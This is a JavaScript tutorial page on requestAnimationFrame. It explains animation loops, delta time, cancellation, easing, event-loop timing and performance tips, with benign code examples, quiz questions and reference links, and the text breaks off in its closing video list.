    "content": "---\ntitle: \"requestAnimationFrame Guide\"\nsidebarTitle: \"requestAnimationFrame: Smooth Animations\"\ndescription: \"Learn requestAnimationFrame in JavaScript for smooth 60fps animations. Understand how it syncs with browser repaint cycles, delta time, and animation loops.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Data Handling\"\n\"article:tag\": \"requestanimationframe, smooth animations, 60fps, animation loop, delta time, repaint\"\n---\n\nWhy do some JavaScript animations feel buttery smooth while others are janky and choppy? Why does your animation freeze when you switch browser tabs? And how do game developers create animations that run at consistent speeds regardless of frame rate?\n\nThe answer is **[`requestAnimationFrame`](https://developer.mozilla.org/en-US/docs/Web/API/Window/requestAnimationFrame)** — the browser API designed specifically for smooth, efficient animations.\n\n```javascript\n// Smooth animation that syncs with the browser's refresh rate\nfunction animate() {\n  // Update animation state\n  element.style.transform = `translateX(${position}px)`;\n  position += 2;\n  \n  // Request next frame\n  if (position < 500) {\n    requestAnimationFrame(animate);\n  }\n}\n\nrequestAnimationFrame(animate);\n```\n\nUnlike [`setInterval`](https://developer.mozilla.org/en-US/docs/Web/API/Window/setInterval), `requestAnimationFrame` synchronizes with your monitor's refresh rate, pauses when the tab is hidden, and lets the browser optimize rendering for maximum performance. [MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/requestAnimationFrame) notes that this automatic pausing also saves CPU and battery life on mobile devices.\n\n<Info>\n**What you'll learn in this guide:**\n- What requestAnimationFrame is and why it exists\n- How it syncs with the browser's repaint cycle\n- Creating smooth animation loops\n- Calculating delta time for consistent animation speed\n- Canceling animations with cancelAnimationFrame\n- When to use rAF vs CSS animations vs setInterval\n- Common animation patterns and performance tips\n</Info>\n\n<Warning>\n**Prerequisite:** This guide assumes familiarity with the [event loop](/concepts/event-loop) and basic JavaScript functions. If you're new to how JavaScript handles timing, read the event loop guide first.\n</Warning>\n\n---\n\n## What is requestAnimationFrame?\n\n**`requestAnimationFrame`** (often abbreviated as \"rAF\") is a browser API that tells the browser you want to perform an animation. According to the [WHATWG HTML specification](https://html.spec.whatwg.org/multipage/imagebitmap-and-animations.html#dom-animationframeprovider-requestanimationframe), it requests a callback to be executed just before the browser performs its next repaint, typically at 60 frames per second (60fps) on most displays.\n\nHere's the key insight: instead of guessing when to update your animation with arbitrary timing like `setInterval(fn, 16)`, `requestAnimationFrame` lets the *browser* tell *you* when it's the optimal time to draw the next frame.\n\n```javascript\n// The browser calls this function when it's ready to paint\nfunction drawFrame(timestamp) {\n  // timestamp = milliseconds since page load\n  console.log(`Frame at ${timestamp}ms`);\n  \n  // Do your animation work here\n  updatePosition();\n  \n  // Request the next frame\n  requestAnimationFrame(drawFrame);\n}\n\n// Start the animation loop\nrequestAnimationFrame(drawFrame);\n```\n\nThe `timestamp` parameter is a [`DOMHighResTimeStamp`](https://developer.mozilla.org/en-US/docs/Web/API/DOMHighResTimeStamp) representing the time when the frame started rendering. You'll use this for calculating animation progress and delta time.\n\n---\n\n## The Film Projector Analogy\n\nThink of how movies work. A film projector shows you 24 still images (frames) per second, and your brain perceives smooth motion. If frames come at irregular intervals, the motion looks jerky.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                        THE FILM PROJECTOR                                │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│    ┌─────────┐   ┌─────────┐   ┌─────────┐   ┌─────────┐                │\n│    │ Frame 1 │   │ Frame 2 │   │ Frame 3 │   │ Frame 4 │  ...           │\n│    │   ⚫   │   │   ⚫    │   │    ⚫   │   │     ⚫  │                │\n│    └─────────┘   └─────────┘   └─────────┘   └─────────┘                │\n│         │             │             │             │                      │\n│         ▼             ▼             ▼             ▼                      │\n│       16.67ms       16.67ms      16.67ms      16.67ms                   │\n│                                                                          │\n│    ════════════════════════════════════════════════════                 │\n│                       SMOOTH MOTION (60fps)                              │\n│    ════════════════════════════════════════════════════                 │\n│                                                                          │\n│    setInterval:     rAF tells the PROJECTOR when to advance              │\n│    YOU guess when   requestAnimationFrame:                               │\n│    to show frames   PROJECTOR tells YOU when it's ready                  │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nWith `setInterval`, you're trying to guess when the projector will be ready. Sometimes you're early (frame waits), sometimes you're late (frame skipped). With `requestAnimationFrame`, the projector signals when it's ready for the next frame.\n\n---\n\n## Why Not Use setInterval?\n\nYou might think `setInterval(fn, 1000/60)` would give you 60fps. Here's why it doesn't work well for animations:\n\n### Problem 1: Timing Drift\n\n`setInterval` isn't precise. The browser might be busy, and your callback could run 20ms or 30ms apart instead of exactly 16.67ms.\n\n```javascript\n// ❌ WRONG - setInterval for animations\nlet position = 0;\n\nsetInterval(() => {\n  position += 2;\n  element.style.left = position + 'px';\n}, 1000 / 60);  // Aims for ~16.67ms, often misses\n```\n\n### Problem 2: Wasted CPU in Background Tabs\n\n`setInterval` keeps running even when the tab is hidden. Your animation keeps computing frames that nobody sees, draining battery and CPU.\n\n### Problem 3: Not Synced with Browser Rendering\n\nThe browser might repaint at different times than your interval fires. You could update the DOM twice between repaints (wasted work) or miss the repaint window entirely (dropped frame).\n\n```javascript\n// ✓ CORRECT - requestAnimationFrame for animations\nlet position = 0;\n\nfunction animate() {\n  position += 2;\n  element.style.left = position + 'px';\n  \n  if (position < 500) {\n    requestAnimationFrame(animate);\n  }\n}\n\nrequestAnimationFrame(animate);\n```\n\n### Comparison Table\n\n| Feature | setInterval | requestAnimationFrame |\n|---------|-------------|----------------------|\n| Synced with display | No | Yes (matches refresh rate) |\n| Background tabs | Keeps running | Pauses automatically |\n| Battery efficiency | Poor | Good |\n| Frame timing | Can drift, miss frames | Browser-optimized |\n| Animation smoothness | Can be janky | Consistently smooth |\n\n---\n\n## Basic Animation Loop\n\nHere's the fundamental pattern for `requestAnimationFrame`:\n\n```javascript\n// Basic animation loop pattern\nfunction animate() {\n  // 1. Update animation state\n  updateSomething();\n  \n  // 2. Draw/render\n  render();\n  \n  // 3. Request next frame (if animation should continue)\n  requestAnimationFrame(animate);\n}\n\n// Kick off the animation\nrequestAnimationFrame(animate);\n```\n\n### Practical Example: Moving a Box\n\n```javascript\nconst box = document.getElementById('box');\nlet position = 0;\n\nfunction animate() {\n  // Update position\n  position += 2;\n  \n  // Apply to DOM\n  box.style.transform = `translateX(${position}px)`;\n  \n  // Continue until we reach 400px\n  if (position < 400) {\n    requestAnimationFrame(animate);\n  }\n}\n\n// Start\nrequestAnimationFrame(animate);\n```\n\n<Tip>\n**Use `transform` instead of `left` or `top`** for animations. Transform changes don't trigger layout recalculation, making them much faster.\n</Tip>\n\n---\n\n## The Timestamp Parameter\n\nEvery `requestAnimationFrame` callback receives a high-resolution timestamp. This is crucial for frame-rate independent animations.\n\n```javascript\nfunction animate(timestamp) {\n  // timestamp = milliseconds since the page loaded\n  console.log(`Current time: ${timestamp}ms`);\n  \n  requestAnimationFrame(animate);\n}\n\nrequestAnimationFrame(animate);\n\n// Output (example):\n// Current time: 16.67ms\n// Current time: 33.34ms\n// Current time: 50.01ms\n// ...\n```\n\nThe timestamp is the same as what you'd get from [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) at the start of the callback, but using the provided timestamp is more accurate for animation timing.\n\n---\n\n## Delta Time: Frame-Rate Independent Animation\n\nHere's a critical concept: **if you move an object 2 pixels per frame, it moves faster on a 144Hz monitor than a 60Hz monitor**. The 144Hz display renders more frames per second, so you get more 2-pixel jumps.\n\nThe solution is **delta time** — the time elapsed since the last frame. Instead of moving by a fixed amount per frame, you move based on time elapsed.\n\n```javascript\nconst box = document.getElementById('box');\nlet position = 0;\nlet lastTime = 0;\nconst speed = 200; // pixels per SECOND (not per frame!)\n\nfunction animate(currentTime) {\n  // Calculate time since last frame\n  const deltaTime = (currentTime - lastTime) / 1000; // Convert to seconds\n  lastTime = currentTime;\n  \n  // Move based on time, not frames\n  // At 200px/sec, we move 200 * deltaTime pixels each frame\n  position += speed * deltaTime;\n  \n  box.style.transform = `translateX(${position}px)`;\n  \n  if (position < 500) {\n    requestAnimationFrame(animate);\n  }\n}\n\n// First frame needs special handling\nrequestAnimationFrame((timestamp) => {\n  lastTime = timestamp;\n  requestAnimationFrame(animate);\n});\n```\n\nNow the box moves at 200 pixels per second regardless of whether the display runs at 30Hz, 60Hz, or 144Hz.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                      DELTA TIME VISUALIZATION                            │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   WITHOUT DELTA TIME:                                                    │\n│   ────────────────────                                                   │\n│   60Hz Monitor:   ▶────▶────▶────▶────▶  (60 jumps/sec)                 │\n│   144Hz Monitor:  ▶─▶─▶─▶─▶─▶─▶─▶─▶─▶─  (144 jumps/sec) FASTER!        │\n│                                                                          │\n│   WITH DELTA TIME:                                                       │\n│   ────────────────                                                       │\n│   60Hz Monitor:   ▶────▶────▶────▶────▶  (200px/sec)                    │\n│   144Hz Monitor:  ▶─▶─▶─▶─▶─▶─▶─▶─▶─▶─  (200px/sec) SAME SPEED!        │\n│                   (smaller jumps, more frames, same total distance)      │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## Canceling Animations\n\n`requestAnimationFrame` returns an ID that you can use with [`cancelAnimationFrame`](https://developer.mozilla.org/en-US/docs/Web/API/Window/cancelAnimationFrame) to stop the animation.\n\n```javascript\nlet animationId;\nlet position = 0;\n\nfunction animate() {\n  position += 2;\n  element.style.transform = `translateX(${position}px)`;\n  \n  // Store the ID so we can cancel later\n  animationId = requestAnimationFrame(animate);\n}\n\n// Start animation\nfunction startAnimation() {\n  animationId = requestAnimationFrame(animate);\n}\n\n// Stop animation\nfunction stopAnimation() {\n  cancelAnimationFrame(animationId);\n}\n\n// Usage\ndocument.getElementById('start').onclick = startAnimation;\ndocument.getElementById('stop').onclick = stopAnimation;\n```\n\n<Warning>\n**Always update the animation ID** inside your animate function. If you only save the initial ID, calling `cancelAnimationFrame` later won't cancel the most recent request.\n</Warning>\n\n### Preventing Multiple Animations\n\nA common bug is starting multiple animation loops by clicking a button repeatedly:\n\n```javascript\n// ❌ BUG: Clicking start multiple times creates multiple loops!\nlet animationId;\n\ndocument.getElementById('start').onclick = () => {\n  function animate() {\n    // ...animation code...\n    animationId = requestAnimationFrame(animate);\n  }\n  requestAnimationFrame(animate);\n};\n\n// ✓ FIX: Cancel any existing animation before starting\ndocument.getElementById('start').onclick = () => {\n  cancelAnimationFrame(animationId); // Cancel previous animation\n  \n  function animate() {\n    // ...animation code...\n    animationId = requestAnimationFrame(animate);\n  }\n  requestAnimationFrame(animate);\n};\n```\n\n---\n\n## Animation Duration and Progress\n\nFor animations that should last a specific duration, track progress as a value from 0 to 1:\n\n```javascript\nconst duration = 2000; // 2 seconds\nlet startTime = null;\n\nfunction animate(timestamp) {\n  if (!startTime) startTime = timestamp;\n  \n  // Calculate progress (0 to 1)\n  const elapsed = timestamp - startTime;\n  const progress = Math.min(elapsed / duration, 1);\n  \n  // Use progress to determine position\n  // Linear: 0 → 0px, 0.5 → 200px, 1 → 400px\n  const position = progress * 400;\n  element.style.transform = `translateX(${position}px)`;\n  \n  // Continue until complete\n  if (progress < 1) {\n    requestAnimationFrame(animate);\n  }\n}\n\nrequestAnimationFrame(animate);\n```\n\n### Adding Easing Functions\n\nLinear animations feel robotic. Easing functions make motion feel natural:\n\n```javascript\n// Easing functions take progress (0-1) and return eased progress (0-1)\nconst easing = {\n  // Starts slow, ends fast\n  easeIn: (t) => t * t,\n  \n  // Starts fast, ends slow  \n  easeOut: (t) => t * (2 - t),\n  \n  // Slow at both ends\n  easeInOut: (t) => t < 0.5 \n    ? 2 * t * t \n    : -1 + (4 - 2 * t) * t,\n  \n  // Bouncy effect\n  easeOutBounce: (t) => {\n    if (t < 1 / 2.75) {\n      return 7.5625 * t * t;\n    } else if (t < 2 / 2.75) {\n      return 7.5625 * (t -= 1.5 / 2.75) * t + 0.75;\n    } else if (t < 2.5 / 2.75) {\n      return 7.5625 * (t -= 2.25 / 2.75) * t + 0.9375;\n    } else {\n      return 7.5625 * (t -= 2.625 / 2.75) * t + 0.984375;\n    }\n  }\n};\n\nfunction animate(timestamp) {\n  if (!startTime) startTime = timestamp;\n  \n  const elapsed = timestamp - startTime;\n  const linearProgress = Math.min(elapsed / duration, 1);\n  \n  // Apply easing\n  const easedProgress = easing.easeOut(linearProgress);\n  \n  const position = easedProgress * 400;\n  element.style.transform = `translateX(${position}px)`;\n  \n  if (linearProgress < 1) {\n    requestAnimationFrame(animate);\n  }\n}\n```\n\n---\n\n## When requestAnimationFrame Runs\n\nUnderstanding where `requestAnimationFrame` fits in the [event loop](/concepts/event-loop) helps you write better animations:\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    ONE EVENT LOOP ITERATION                              │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│    ┌─────────────────────────────────────────────────────────┐           │\n│    │  1. Process one task (setTimeout, events, etc.)         │           │\n│    └─────────────────────────────────────────────────────────┘           │\n│                              │                                           │\n│                              ▼                                           │\n│    ┌─────────────────────────────────────────────────────────┐           │\n│    │  2. Process ALL microtasks (Promises, queueMicrotask)   │           │\n│    └─────────────────────────────────────────────────────────┘           │\n│                              │                                           │\n│                              ▼                                           │\n│    ┌─────────────────────────────────────────────────────────┐           │\n│    │  3. If time to render (usually ~60x/sec):               │           │\n│    │                                                          │           │\n│    │     a. Run requestAnimationFrame callbacks  ◄── HERE!   │           │\n│    │     b. Calculate styles                                  │           │\n│    │     c. Calculate layout                                  │           │\n│    │     d. Paint to screen                                   │           │\n│    │                                                          │           │\n│    └─────────────────────────────────────────────────────────┘           │\n│                              │                                           │\n│                              ▼                                           │\n│    ┌─────────────────────────────────────────────────────────┐           │\n│    │  4. requestIdleCallback (if idle time remains)          │           │\n│    └─────────────────────────────────────────────────────────┘           │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nKey insight: `requestAnimationFrame` callbacks run **right before the browser paints**. This means your DOM changes are applied just in time to be rendered, with no wasted work.\n\n---\n\n## rAF vs CSS Animations vs setInterval\n\nEach animation approach has its place:\n\n<Tabs>\n  <Tab title=\"requestAnimationFrame\">\n    **Best for:**\n    - Complex animations with custom logic\n    - Game loops\n    - Physics simulations\n    - Canvas/WebGL rendering\n    - Animations depending on user input\n    \n    ```javascript\n    function gameLoop(timestamp) {\n      handleInput();\n      updatePhysics();\n      checkCollisions();\n      render();\n      requestAnimationFrame(gameLoop);\n    }\n    ```\n    \n    **Pros:** Full control, frame-by-frame logic, works with canvas\n    \n    **Cons:** More code, you handle everything manually\n  </Tab>\n  \n  <Tab title=\"CSS Animations\">\n    **Best for:**\n    - Simple state transitions\n    - Hover effects\n    - Loading spinners\n    - Entrance/exit animations\n    \n    ```css\n    .box {\n      transition: transform 0.3s ease-out;\n    }\n    .box:hover {\n      transform: scale(1.1);\n    }\n    \n    @keyframes spin {\n      from { transform: rotate(0deg); }\n      to { transform: rotate(360deg); }\n    }\n    ```\n    \n    **Pros:** Hardware-accelerated, declarative, less code\n    \n    **Cons:** Limited control, can't do complex frame-by-frame logic\n  </Tab>\n  \n  <Tab title=\"Web Animations API\">\n    **Best for:**\n    - Controlling CSS-like animations from JavaScript\n    - Coordinating multiple animations\n    - When you need JS control but CSS-level performance\n    \n    ```javascript\n    element.animate([\n      { transform: 'translateX(0)' },\n      { transform: 'translateX(400px)' }\n    ], {\n      duration: 1000,\n      easing: 'ease-out',\n      fill: 'forwards'\n    });\n    ```\n    \n    **Pros:** Best of both worlds, pause/reverse/scrub animations\n    \n    **Cons:** Less browser support for advanced features\n  </Tab>\n</Tabs>\n\n---\n\n## Common Patterns\n\n### Pattern 1: Reusable Animation Function\n\n```javascript\nfunction animate({ duration, timing, draw }) {\n  const start = performance.now();\n  \n  requestAnimationFrame(function tick(time) {\n    // Calculate progress (0 to 1)\n    let progress = (time - start) / duration;\n    if (progress > 1) progress = 1;\n    \n    // Apply easing\n    const easedProgress = timing(progress);\n    \n    // Draw current state\n    draw(easedProgress);\n    \n    // Continue if not complete\n    if (progress < 1) {\n      requestAnimationFrame(tick);\n    }\n  });\n}\n\n// Usage\nanimate({\n  duration: 1000,\n  timing: t => t * (2 - t), // easeOut\n  draw: progress => {\n    element.style.transform = `translateX(${progress * 400}px)`;\n  }\n});\n```\n\n### Pattern 2: Animation with Promise\n\n```javascript\nfunction animateAsync({ duration, timing, draw }) {\n  return new Promise(resolve => {\n    const start = performance.now();\n    \n    requestAnimationFrame(function tick(time) {\n      let progress = (time - start) / duration;\n      if (progress > 1) progress = 1;\n      \n      draw(timing(progress));\n      \n      if (progress < 1) {\n        requestAnimationFrame(tick);\n      } else {\n        resolve(); // Animation complete\n      }\n    });\n  });\n}\n\n// Usage with async/await\nasync function runAnimations() {\n  await animateAsync({ /* first animation */ });\n  await animateAsync({ /* second animation - starts after first */ });\n  console.log('All animations complete!');\n}\n```\n\n### Pattern 3: Pausable Animation\n\n```javascript\nclass Animation {\n  constructor({ duration, timing, draw }) {\n    this.duration = duration;\n    this.timing = timing;\n    this.draw = draw;\n    this.elapsed = 0;\n    this.running = false;\n    this.animationId = null;\n  }\n  \n  start() {\n    if (this.running) return;\n    this.running = true;\n    this.lastTime = performance.now();\n    this.tick();\n  }\n  \n  pause() {\n    this.running = false;\n    cancelAnimationFrame(this.animationId);\n  }\n  \n  tick() {\n    if (!this.running) return;\n    \n    const now = performance.now();\n    this.elapsed += now - this.lastTime;\n    this.lastTime = now;\n    \n    let progress = this.elapsed / this.duration;\n    if (progress > 1) progress = 1;\n    \n    this.draw(this.timing(progress));\n    \n    if (progress < 1) {\n      this.animationId = requestAnimationFrame(() => this.tick());\n    } else {\n      this.running = false;\n    }\n  }\n}\n\n// Usage\nconst anim = new Animation({\n  duration: 2000,\n  timing: t => t,\n  draw: p => element.style.opacity = p\n});\n\nstartBtn.onclick = () => anim.start();\npauseBtn.onclick = () => anim.pause();\n```\n\n---\n\n## Performance Tips\n\n<AccordionGroup>\n  <Accordion title=\"1. Animate transform and opacity only\">\n    These properties don't trigger layout recalculation. Animating `left`, `top`, `width`, or `height` forces the browser to recalculate layout every frame.\n    \n    ```javascript\n    // ❌ SLOW - triggers layout\n    element.style.left = position + 'px';\n    element.style.width = size + 'px';\n    \n    // ✓ FAST - composited\n    element.style.transform = `translateX(${position}px)`;\n    element.style.opacity = alpha;\n    ```\n  </Accordion>\n  \n  <Accordion title=\"2. Use will-change for complex animations\">\n    Hints to the browser that an element will be animated, allowing it to optimize ahead of time.\n    \n    ```css\n    .animated-element {\n      will-change: transform;\n    }\n    ```\n    \n    Don't overuse it though — it consumes memory.\n  </Accordion>\n  \n  <Accordion title=\"3. Debounce DOM reads and writes\">\n    Reading layout properties (like `offsetWidth`) forces a synchronous layout. Batch your reads together, then batch your writes.\n    \n    ```javascript\n    // ❌ BAD - read/write/read/write causes multiple layouts\n    element1.style.width = element2.offsetWidth + 'px';\n    element3.style.width = element4.offsetWidth + 'px';\n    \n    // ✓ GOOD - batch reads, then batch writes\n    const width2 = element2.offsetWidth;\n    const width4 = element4.offsetWidth;\n    element1.style.width = width2 + 'px';\n    element3.style.width = width4 + 'px';\n    ```\n  </Accordion>\n  \n  <Accordion title=\"4. Keep work inside rAF minimal\">\n    Heavy computation inside `requestAnimationFrame` causes frame drops. Move complex calculations outside or use Web Workers.\n    \n    ```javascript\n    // ❌ BAD - heavy work blocks rendering\n    function animate() {\n      const result = expensiveCalculation(); // 50ms of work!\n      render(result);\n      requestAnimationFrame(animate);\n    }\n    \n    // ✓ BETTER - compute in chunks or use worker\n    function animate() {\n      render(precomputedData[currentFrame]);\n      currentFrame++;\n      requestAnimationFrame(animate);\n    }\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Common Mistakes\n\n### Mistake 1: Forgetting to Request the Next Frame\n\n```javascript\n// ❌ WRONG - only runs once!\nfunction animate() {\n  element.style.left = position++ + 'px';\n  // Forgot to call requestAnimationFrame again!\n}\nrequestAnimationFrame(animate);\n\n// ✓ CORRECT\nfunction animate() {\n  element.style.left = position++ + 'px';\n  requestAnimationFrame(animate);  // Request next frame\n}\nrequestAnimationFrame(animate);\n```\n\n### Mistake 2: Animation Speed Varies by Frame Rate\n\n```javascript\n// ❌ WRONG - moves faster on high refresh rate displays\nfunction animate() {\n  position += 5;  // 5px per frame\n  element.style.transform = `translateX(${position}px)`;\n  requestAnimationFrame(animate);\n}\n\n// ✓ CORRECT - use delta time\nlet lastTime = 0;\nconst speed = 300; // pixels per second\n\nfunction animate(time) {\n  const delta = (time - lastTime) / 1000;\n  lastTime = time;\n  \n  position += speed * delta;  // Time-based movement\n  element.style.transform = `translateX(${position}px)`;\n  requestAnimationFrame(animate);\n}\n```\n\n### Mistake 3: Not Handling the First Frame\n\n```javascript\n// ❌ WRONG - first frame has huge deltaTime (since page load!)\nlet lastTime = 0;\n\nfunction animate(time) {\n  const delta = time - lastTime;  // First call: delta = entire page lifetime!\n  lastTime = time;\n  // Animation jumps on first frame\n}\n\n// ✓ CORRECT - initialize lastTime properly\nlet lastTime = null;\n\nfunction animate(time) {\n  if (lastTime === null) {\n    lastTime = time;\n    requestAnimationFrame(animate);\n    return;\n  }\n  \n  const delta = time - lastTime;\n  lastTime = time;\n  // First actual frame has reasonable delta\n}\n```\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **`requestAnimationFrame` syncs with display refresh** — it fires right before the browser paints, typically 60 times per second\n\n2. **Better than setInterval for animations** — smoother, pauses in background tabs, battery-efficient\n\n3. **One-shot by design** — you must call `requestAnimationFrame` inside your callback to keep animating\n\n4. **Use the timestamp parameter** — it's more reliable than `Date.now()` or `performance.now()` for animation timing\n\n5. **Delta time prevents speed variation** — multiply movement by time elapsed, not a fixed amount per frame\n\n6. **`cancelAnimationFrame(id)` stops animation** — store the ID and update it every frame\n\n7. **Runs before paint, after microtasks** — part of the rendering phase in the event loop\n\n8. **Animate transform and opacity** — these properties are GPU-accelerated and don't trigger layout\n\n9. **CSS animations for simple cases** — use rAF for complex logic, canvas, or game loops\n\n10. **Handle the first frame specially** — initialize `lastTime` to avoid a huge delta on the first call\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: Why is requestAnimationFrame better than setInterval for animations?\">\n    **Answer:**\n    \n    1. **Syncs with display refresh** — rAF fires at the optimal time before the browser paints\n    2. **Pauses in background tabs** — saves battery and CPU when the tab isn't visible\n    3. **Browser-optimized timing** — avoids dropped frames and visual jank\n    4. **More accurate timestamps** — provides high-resolution timestamps for smooth animations\n    \n    `setInterval` doesn't know about the browser's rendering cycle, may drift, and keeps running when the tab is hidden.\n  </Accordion>\n  \n  <Accordion title=\"Question 2: What is delta time and why is it important?\">\n    **Answer:**\n    \n    Delta time is the time elapsed since the last frame. It's crucial for **frame-rate independent animations**.\n    \n    ```javascript\n    // Without delta time: 144Hz monitor runs animation 2.4x faster than 60Hz\n    position += 5; // 5 pixels per frame\n    \n    // With delta time: same speed on all monitors\n    const speed = 300; // pixels per second\n    position += speed * deltaTime;\n    ```\n    \n    Without delta time, animations run at different speeds depending on the monitor's refresh rate.\n  </Accordion>\n  \n  <Accordion title=\"Question 3: How do you stop an animation started with requestAnimationFrame?\">\n    **Answer:**\n    \n    Use `cancelAnimationFrame(id)` with the ID returned from `requestAnimationFrame`:\n    \n    ```javascript\n    let animationId;\n    \n    function animate() {\n      // ... animation code ...\n      animationId = requestAnimationFrame(animate); // Update ID each frame\n    }\n    \n    // Start\n    animationId = requestAnimationFrame(animate);\n    \n    // Stop\n    cancelAnimationFrame(animationId);\n    ```\n    \n    Important: Update `animationId` inside the animate function, not just when starting.\n  </Accordion>\n  \n  <Accordion title=\"Question 4: When does the requestAnimationFrame callback actually run?\">\n    **Answer:**\n    \n    It runs during the **rendering phase** of the event loop, specifically:\n    \n    1. After the current task completes\n    2. After all microtasks are drained\n    3. **Before the browser calculates styles, layout, and paints**\n    \n    This timing ensures your DOM changes are applied right before they're rendered to screen.\n  </Accordion>\n  \n  <Accordion title=\"Question 5: What CSS properties should you animate for best performance?\">\n    **Answer:**\n    \n    Animate `transform` and `opacity` — these are compositor-only properties that don't trigger layout or paint:\n    \n    ```javascript\n    // ✓ Fast (compositor only)\n    element.style.transform = 'translateX(100px)';\n    element.style.transform = 'scale(1.2)';\n    element.style.transform = 'rotate(45deg)';\n    element.style.opacity = 0.5;\n    \n    // ❌ Slow (triggers layout)\n    element.style.left = '100px';\n    element.style.width = '200px';\n    element.style.margin = '10px';\n    ```\n    \n    Layout-triggering properties force the browser to recalculate positions of other elements every frame.\n  </Accordion>\n  \n  <Accordion title=\"Question 6: How do you handle the first frame to avoid animation jumping?\">\n    **Answer:**\n    \n    Initialize `lastTime` to `null` and skip the first frame's animation:\n    \n    ```javascript\n    let lastTime = null;\n    \n    function animate(time) {\n      if (lastTime === null) {\n        lastTime = time;\n        requestAnimationFrame(animate);\n        return; // Skip first frame\n      }\n      \n      const delta = (time - lastTime) / 1000;\n      lastTime = time;\n      \n      // Now delta is reasonable (16.67ms at 60fps)\n      position += speed * delta;\n      \n      requestAnimationFrame(animate);\n    }\n    ```\n    \n    Without this, the first delta would be the time since page load, causing a huge jump.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is requestAnimationFrame in JavaScript?\">\n    `requestAnimationFrame` is a browser API that schedules a callback to run just before the next screen repaint. It synchronizes your animation code with the display's refresh rate (typically 60fps), producing smoother animations than `setInterval` or `setTimeout`. The WHATWG HTML specification defines it as part of the browser's rendering pipeline.\n  </Accordion>\n\n  <Accordion title=\"Why is requestAnimationFrame better than setInterval for animations?\">\n    `setInterval` fires at a fixed interval regardless of the browser's readiness to paint, causing dropped frames and jank. `requestAnimationFrame` is called at the optimal time by the browser, automatically pauses when the tab is hidden (saving CPU and battery), and batches DOM reads and writes for better performance. MDN recommends it for all JavaScript-based animations.\n  </Accordion>\n\n  <Accordion title=\"What is delta time and why do animations need it?\">\n    Delta time is the elapsed time between the current and previous animation frames. Without it, animations run faster on high-refresh-rate monitors and slower on struggling devices. Multiply your movement values by delta time to ensure consistent animation speed regardless of frame rate — this is standard practice in game development.\n  </Accordion>\n\n  <Accordion title=\"How do I cancel a requestAnimationFrame animation?\">\n    `requestAnimationFrame` returns a numeric ID. Pass it to `cancelAnimationFrame(id)` to cancel the pending callback. Always store the ID when starting animations so you can clean up on component unmount or user interaction.\n  </Accordion>\n\n  <Accordion title=\"When should I use CSS animations instead of requestAnimationFrame?\">\n    Use CSS animations and transitions for simple visual effects like opacity, transforms, and color changes — they run on the compositor thread and don't block JavaScript. Use `requestAnimationFrame` when animations need JavaScript logic, respond to user input, involve canvas or WebGL, or require physics calculations. Web.dev recommends CSS for anything that doesn't need per-frame logic.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Event Loop\" icon=\"arrows-spin\" href=\"/concepts/event-loop\">\n    How JavaScript manages async operations and where rAF fits in the rendering cycle\n  </Card>\n  <Card title=\"DOM\" icon=\"sitemap\" href=\"/concepts/dom\">\n    Understanding the Document Object Model that animations manipulate\n  </Card>\n  <Card title=\"Debouncing & Throttling\" icon=\"gauge\" href=\"/beyond/concepts/debouncing-throttling\">\n    Rate-limiting techniques often combined with animations\n  </Card>\n  <Card title=\"Web Workers\" icon=\"gears\" href=\"/concepts/web-workers\">\n    Offload heavy computation to keep animations smooth\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"requestAnimationFrame — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Window/requestAnimationFrame\">\n    Complete API reference including syntax, parameters, return value, and browser compatibility.\n  </Card>\n  <Card title=\"cancelAnimationFrame — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Window/cancelAnimationFrame\">\n    Documentation for canceling scheduled animation frame requests.\n  </Card>\n  <Card title=\"DOMHighResTimeStamp — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/DOMHighResTimeStamp\">\n    Understanding the high-resolution timestamp passed to rAF callbacks.\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Animations — javascript.info\" icon=\"newspaper\" href=\"https://javascript.info/js-animation\">\n    Comprehensive tutorial covering rAF, timing functions, and animation patterns. Includes interactive examples and exercises to practice.\n  </Card>\n  <Card title=\"Using requestAnimationFrame — CSS-Tricks\" icon=\"newspaper\" href=\"https://css-tricks.com/using-requestanimationframe/\">\n    Chris Coyier's practical guide with code examples showing start/stop patterns and the polyfill for older browsers.\n  </Card>\n  <Card title=\"requestAnimationFrame for Smart Animating — Paul Irish\" icon=\"newspaper\" href=\"https://www.paulirish.com/2011/requestanimationframe-for-smart-animating/\">\n    The original blog post that popularized rAF. Paul Irish explains why it's better than setInterval with great technical depth.\n  </Card>\n  <Card title=\"Optimize JavaScript Execution — web.dev\" icon=\"newspaper\" href=\"https://web.dev/articles/optimize-javascript-execution\">\n    Google's guide to keeping JavaScript execution within frame budgets. Essential reading for avoiding animation jank.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"In The Loop — Jake Archibald\" icon=\"video\" href=\"https://www.youtube.com/watch?v=cCOL7MC4Pl0\">\n    Jake Archibald's JSConf.Asia talk diving deep into the event loop, tasks, microtasks, and where requestAnimationFrame fits. A must-watch.\n  </Card>\n  <Card 